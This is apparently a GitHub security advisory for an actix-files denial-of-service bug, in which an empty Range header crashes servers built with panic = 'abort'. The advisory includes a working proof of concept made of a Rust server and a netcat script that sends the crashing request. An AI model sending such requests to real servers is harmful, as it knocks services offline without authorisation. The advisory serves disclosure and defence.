GHSA-gcqf-3g44-vc9p

Summary

A GET request for a static file served by actix-files with an empty Range header triggers a panic. With panic = "abort", a remote user may crash the process on-demand.

Details

actix-files assumes that HttpRange::parse(), when Ok, always returns a vector with at least one element. When parse() is called on an empty string, it returns Ok(vec![]). This can cause a panic at named.rs:534 when handling an HTTP request with an empty Range: header. This shouldn't significantly impact programs built with the default panic = "unwind", as the only effect is that the connection is closed when the worker thread panics and new threads are spooled up on demand. Programs built with panic = "abort" are vulnerable to being crashed on-demand by any user with permissions to perform a GET request for a static file served by actix-files. https://github.com/actix/actix-web/blob/0383f4bdd1210e726143ca1ebcf01169b67a4b6c/actix-files/src/named.rs#L530-L535

PoC

Cargo.toml:

[package]
name = "example"
version = "0.1.0"
edition = "2021"

[dependencies]
actix-web = "=4.5.1"
actix-files = "=0.6.5"

[profile.dev]
panic = "abort"

src/main.rs:

use actix_files::NamedFile;
use actix_web::{get, Responder};

#[get("/")]
async fn index() -> impl Responder {
    NamedFile::open("test_file")
}

#[actix_web::main]
async fn main() -> std::io::Result<()> {
    use actix_web::{App, HttpServer};

    HttpServer::new(|| App::new().service(index))
        .bind(("127.0.0.1", 8080))?
        .run()
        .await
}

test.sh:

#!/bin/bash

echo foo > test_file
cargo b
cargo r&
sleep 1
nc 127.0.0.1 8080 << EOF
GET / HTTP/1.1
Range:

EOF
kill %1

Create these files, then run chmod +x test.sh && ./test.sh. The server should start, then crash upon receiving the GET request from netcat.

This assumes a reasonably UNIX-like system with Rust, bash and netcat installed.

Impact

It is believed that only programs compiled with panic = "abort" are affected significantly. The only potential impact that can be seen is Denial of Service, though an attacker able to repeatedly send GET requests without those requests getting blocked by rate limiting, DDoS protection, etc. would be able to keep a server down indefinitely. As only a single unblocked request is needed to trigger the panic, merely having a rate limiter may not be enough to prevent this.

Though the impact in the worst case is significant, the real-world risk of this vulnerability appears to be limited, as it would be expected that anyone for whom uptime is a significant concern would not compile their program with panic = "abort".